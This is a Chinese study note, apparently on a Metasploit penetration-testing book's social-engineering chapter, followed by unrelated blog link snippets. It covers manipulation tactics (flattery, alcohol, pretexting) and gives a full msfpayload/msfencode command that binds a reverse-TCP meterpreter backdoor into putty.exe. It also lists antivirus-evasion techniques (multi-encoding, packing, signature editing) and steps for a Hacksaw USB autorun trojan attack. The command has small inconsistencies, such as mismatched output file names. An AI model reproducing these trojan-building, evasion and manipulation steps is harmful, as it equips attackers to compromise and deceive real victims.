五.社工工程学
5.1社会工程系框架
5.1.1信息搜集
maltego是一个高度自动化的信息搜集工具,集成在BT5中,如果国内网络环境使用时无法获取结果,可能是无法与信息提供网站建立连接,可以使用VPN或代理服务器。
5.1.2诱导
1.提高诱导能力
表现自然,学习知识,不要贪心。
2.成功诱导的技巧
迎合目标的自我感觉
表达共同的兴趣
故意给出一个错误的陈述
抛出一些诱饵信息以寻求回报
假装知晓
借助酒精的威力,让目标更容易开口
3.问答的种类
开放式问答:无法只用“是”或“否”来回答问题
封闭式问答:回答比较确定
诱导性问答:组合了开放式和封闭式,期望诱导出一些回答信息
假设性问答:假设目标已经知晓某种信息
5.1.3托辞
设计一个虚构的场景来说服目标泄露信息。
1.提升设计托辞的能力
托辞的质量与信息搜集和诱导得到的信息密切相关。实践,实践!
2.设计托辞的原则
研究功课做得越充分,成功的概率越大
发挥你的个人兴趣或专长
联习方言和表达
充分利用电话
托辞设计越简单越好
让托辞看起来更自然
向目标提供一个合乎逻辑的结论。
5.2社会工程学案例--伪装木马
木马常见的伪装方式:
伪装成不可执行文件的图标
捆绑文件伪装
组合伪装
5.2.1木马程序的制作
制作一个木马,主要考虑以下三点:
①确定监听的IP和端口,木马需要回连这个IP的端口。
②把木马绑到一个合法程序上。
③木马植入后,迁移到不会关闭的进程上。
还要考虑木马的稳定性,兼容性,免杀等等。
1.使用metasploit中的msfpayload功能生成基本的攻击载荷程序
msfpayload -l |grep 'windows'|grep ‘reverse_tcp’|grep 'meterpreter'
-l用来列出攻击载荷,grep命令来查询所需要的攻击载荷模块。
在实际应用中建议修改回连监听端口为80,53等常用端口。
2.将攻击载荷绑定到Putty程序
msfpayload主要功能是将payload包装成一个可执行文件,或包装指定格式输出。用法如下:
执行msfpayload -h查看都有哪些参数:
Usage: /opt/metasploit/msf3/msfpayload [<options>] <payload> [var=val] <[S]ummary|C|[P]erl|Rub[y]|[R]aw|[J]s|e[X]e|[D]ll|[V]BA|[W]ar>
OPTIONS:
-h Help banner
-l List available payloads
#O--查看payload信息
#R--输出raw原始数据,可以被传输到另一个程序如msfencode或重定向到另一个文件
#C--输出c程序
msfencode主要功能是对输入的数据继续编码,然后将编码后的数据包装成一个指定文件。用法如下:
Usage: /opt/metasploit/msf3/msfencode <options>
OPTIONS:
-a <opt> The architecture to encode as
-b <opt> The list of characters to avoid: '\x00\xff' //避免的字符
-c <opt> The number of times to encode the data //编码次数
-d <opt> Specify the directory in which to look for EXE templates
-e <opt> The encoder to use //选择使用哪种编码器
-h Help banner
-i <opt> Encode the contents of the supplied file path
-k Keep template working; run payload in new thread (use with -x)
-l List available encoders //列出所有可用的编码器
-m <opt> Specifies an additional module search path
-n Dump encoder information
-o <opt> The output file //输出文件
-p <opt> The platform to encode for
-s <opt> The maximum size of the encoded data
-t <opt> The output format: raw,ruby,rb,perl,pl,bash,sh,c,js_be,js_le,java,dll,exe,exe-small,elf,macho,vba,vba-exe,vbs,loop-vbs,asp,aspx,war //输出文件的格式
-v Increase verbosity
-x <opt> Specify an alternate executable template
3.制作木马程序
msfpayload /windows/meterpreter/reverse_tcp LHOST=10.0.0.1 LPORT=80 R | msfencode -t exe -e x86/alpha_mixed -k -x /root/netcat/putty.exe -t elf -o dood_putty.exe -c 5
新生成的door_putty.exe就是木马后门了。
5.2.2木马的免杀处理
1.加密免杀
可以使用多重编码技术增强伪装木马的免杀能力,但是复杂的组合可能导致编码后的程序无法正常运行
2.加壳免杀
可以使用一些加壳工具对恶意代码进行加壳处理,比如UPX等
3.修改特征码免杀
大部分杀毒软件的根据就是对比特征码,对比硬盘中储存的文件的特征码,能全面地查杀,对比在内存中储存的文件特征码,可以快速的查杀,针对这一特性,可以用特征码定位软件定位文件特征码的所在之处,在用UltraEdit对被修改的特征码进行修改。一般的修改方法有:
十六进制的数据特征码直接修改法
字符串大小写修改法
等价替换法 把对应的汇编指令替换成功能类似的指令
指令顺序调换法
通用跳转法
修改特征码的方法针对性很强,但只能针对一款杀毒软件,因为各家杀毒软件的特征码不一样。
5.3社工攻击工具包SET
可进行制作钓鱼网站,钓鱼邮件等等,功能强大,
5.4U盘 Hacksaw攻击
向U盘写入木马程序,然后修改autorun.inf文件,让其指向木马安装程序,那么windows会运行这个程序。
一些隐藏木马的方式:
作为系统文件隐藏
伪装成其他文件
藏于系统文件夹中
运用windows漏洞建立路径不存在或者打不开的文件夹
制作Hacksaw U盘
Hacksaw是使用U盘进行攻击的软件,具体步骤如下:
1.下载安装工具UltraISO
2.下载Hcaksaw
3.解压下载的压缩包到一个单独目录
4.插入U盘
5.启动UltraISO,并打开先前解压后目录下的cruzer-autorun.iso
6.点击启动,写入硬盘映像
7.选择U盘并写入
8.把payload目录下的隐藏木马WIP及攻击载荷复制到准备好的U盘的跟目录下
9.修改WIP/SBS目录下的send.sat文件
10.需要autorun.inf文件 把shellexecute替换open
11.升级stunnel软件
12.把autorun.inf和go.vbe修改为隐藏文件
- JVM学习笔记-第七章-虚拟机类加载机制
JVM学习笔记-第七章-虚拟机类加载机制 7.1 概述 Java虚拟机描述类的数据从Class文件加载到内存,并对数据进行校验.转换解析和初始化,最终形成可以被虚拟机直接使用的Java类型,这个过程被 ...
- Metasploit渗透测试魔鬼训练营
首本中文原创Metasploit渗透测试著作,国内信息安全领域布道者和资深Metasploit渗透测试专家领衔撰写,极具权威性.以实践为导向,既详细讲解了Metasploit渗透测试的技术.流程.方法 ...
- [Python学习笔记][第七章Python文件操作]
2016/1/30学习内容 第七章 Python文件操作 文本文件 文本文件存储的是常规字符串,通常每行以换行符'\n'结尾. 二进制文件 二进制文件把对象内容以字节串(bytes)进行存储,无法用笔 ...
- 《metasploit渗透测试魔鬼训练营》学习笔记第四章—web应用渗透
继续来学习metasploit...记好笔记是很重要的,下面开始正文: 二.WEB应用渗透技术 1.WEB应用渗透基础知识 先介绍WEB应用攻击的主要类型(大致介绍,具体请自行查 ...
- 《metasploit渗透测试魔鬼训练营》学习笔记第三章----情报搜集
Kali渗透测试系统集成了metasploit开源的漏洞测试框架,是渗透测试必备的神器.下面是我在学习metasploit的笔记,有什么错误的地方请指出来,我会立即纠正的~ 一.情报搜集 1. ...
- 《metasploit渗透测试魔鬼训练营》学习笔记第六章--客户端渗透
四.客户端攻击 客户端攻击与服务端攻击有个显著不同的标识,就是攻击者向用户主机发送的恶意数据不会直接导致用户系统中的服务进程溢出,而是需要结合一些社会工程学技巧,诱使客户端用户去访问这些恶意 ...
- 《Metasploit渗透测试魔鬼训练营》第一章读书笔记
第1章 魔鬼训练营--初识Metasploit 20135301 1.1 什么是渗透测试 1.1.1 渗透测试的起源与定义 如果大家对军事感兴趣,会知道各国军队每年都会组织一些军事演习来锻炼军队的攻防 ...
- o'Reill的SVG精髓(第二版)学习笔记——第七章
第七章:路径 所有描述轮廓的数据都放在<path>元素的d属性中(d是data的缩写).路径数据包括单个字符的命令,比如M表示moveto,L表示lineto.接着是该命令的坐标信息. 7 ...
- 《metasploit渗透测试魔鬼训练营》学习笔记第九章--meterpreter
七.强大的meterpreter 7.1再探metasploit的攻击载荷模块 7.1.1典型的攻击载荷模块 metasploit涵盖了各大主流操作系统和平台,其中绝大部分是远程漏洞 ...
随机推荐
- 六、阻塞队列LinkedBlockQueue
一.简介 Java提供了FIFO先进先出的阻塞队列实现,这其实是一种生产者消费者理念,可以通过阻塞队列将生产者和消费者进行解耦合. LinkedBlockQueue是一种无界队列,但事实上它只是队列可 ...
- Qless 相关知识
Qless是一个基于redis的分布式任务架构.相关代码在 https://github.com/seomoz/qless 它是完全有lua实现的,依靠 redis 对lua的支持,http://ww ...
- error: unpack failed: error Missing tree
最近新建一个仓库,push时遇到如下问题,试了好多方法,最后在stackoverflow上找到解决办法了,可是在开始时就试过这方法,但不成.至于为嘛出现的这种错误,还是不明白原因. git.exe p ...
- django基础一之web框架的本质
一 web框架的本质及自定义web框架 我们可以这样理解:所有的Web应用本质上就是一个socket服务端,而用户的浏览器就是一个socket客户端,基于请求做出响应,客户都先请求,服务端做出对应的响 ...
- N个必备的实用jQuery代码段
jQuery(function() { /* <input type="password" name="pass" id="pass" ...
- html+css 百度首页练习
这几天看完了<css权威指南>,写了个百度页面,不带js的纯静态,主要目的就是掌握页面布局,字体颜色之类的没有深究. 写完了觉得很简单,毕竟一开始觉得只要模仿的像就行,但是缩小了浏览器窗口 ...
- 在linux中给你的应用做压力测试
在linux中给你的应用做压力测试 作者: 立地 邮箱: jarvin_g@126.com QQ: 511363759 一.webbench 1.在Ubuntu中安装webbench —支持get,h ...
- C++多线程编程(教程+Demo)
下载地址:C++多线程编程(教程+Demo) Win32 SDK函数支持进行多线程的程序设计,并提供了操作系统原理中的各种同步.互斥和临界区等操作.Visual C++ 6.0中,使用MFC类库也实现 ...
- Android深入四大组件(六)Service的启动过程
前言 此前我用较长的篇幅来介绍Android应用程序的启动过程(根Activity的启动过程),这一篇我们接着来分析Service的启动过程.建议阅读此篇文章前,请先阅读Android深入四大组件(一 ...
- windows 下 openssl 生成RSA私钥公钥以及PKCS8
生成RSA私钥 打开bin文件夹下面的openssl.exe,输入genrsa -out rsa_private_key.pem 1024 把RSA私钥转换成PKCS8格式 输入命令pkcs8 -to ...